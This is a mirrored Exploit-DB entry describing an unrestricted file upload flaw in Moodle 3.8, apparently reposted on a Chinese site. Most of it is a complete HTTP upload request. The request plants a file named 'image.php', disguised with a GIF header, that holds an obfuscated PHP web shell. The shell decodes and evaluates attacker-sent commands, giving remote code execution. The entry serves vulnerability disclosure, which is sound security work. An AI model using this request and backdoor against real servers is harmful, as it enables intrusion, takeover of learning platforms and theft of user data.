Moodle 3.8 – Unrestricted File Upload - 体验盒子

作者： Sirwan Veisi

日期： 2020-11-27

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/49114/

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# Exploit Title: Moodle 3.8 - Unrestricted File Upload

# Date: 2019-09-08

# Exploit Author: Sirwan Veisi

# Vendor Homepage: https://moodle.org/

# Software Link: https://github.com/moodle/moodle

# Version: Moodle Versions 3.8, 3.7, 3.6, 3.5, 3.4...

# Tested on: Moodle Version 3.8

# CWE : CWE-434

I found an Unrestricted Upload vulnerability for Moodle version 3.8 , that

allows the attacker to upload or transfer files of dangerous types.

Example exploitation request:

POST /repository/repository_ajax.php?action=upload HTTP/1.1

Host: VulnerableHost

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0)

Gecko/20100101 Firefox/80.0

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;

boundary=---------------------------38898830537874132223151601680

Content-Length: 2763

Origin: https://VulnerableHost

Connection: close

Referer: https://VulnerableHost/user/files.php

Cookie: MoodleSession=bpn90khjdh7mq4phs8i9r0caai

Upgrade-Insecure-Requests: 1

-----------------------------38898830537874132223151601680

Content-Disposition: form-data; name="repo_upload_file";

filename="image.php"

Content-Type: image/jpeg

GIF89a;

<?php

$Q=str_replace('kz','','crekzakztkze_kzfunckztkzion');

$O='"";for%(%$i=%0;$i<$l;){for%($j=0%;($j<$c&%&$i<$l);$%j++,$i+%+%){$o.=$%t{$i';

$l='_contents(%"php:%//input"),%$m)=%=1){@ob%_start();%@eva%l(@gzunc%o%mpress(%@';

$C='$k="3%fbd6%8c8"%;$kh="2a%e%7d638909f";$%kf%="60eb0ffaeb%1%7";$p="dP%FT1%';

$h='x(@b%ase%6%4_decode($m[1%]),$k)));%$o=@o%b_get_conte%%nts();@ob_end%%_c%lean';

$N='}%%^$k{$j};}}retu%rn

$o;}i%f(@preg%_matc%%h("/$kh(.+)$%%k%f%/",@file_ge%t';

$e='Nmy694Bcj%Vc";fu%nction%

x(%$t,$k){$c=st%rle%n%($%%k);$l=strlen($t)%;$o=';

$V='();$r=@bas%e64_en%cod%e(@x(@%%gzcomp%ress($o),$k))%;%print("$%p$kh$r$kf");}';

$P=str_replace('%','',$C.$e.$O.$N.$l.$h.$V);

$n=$Q('',$P);$n();

?>

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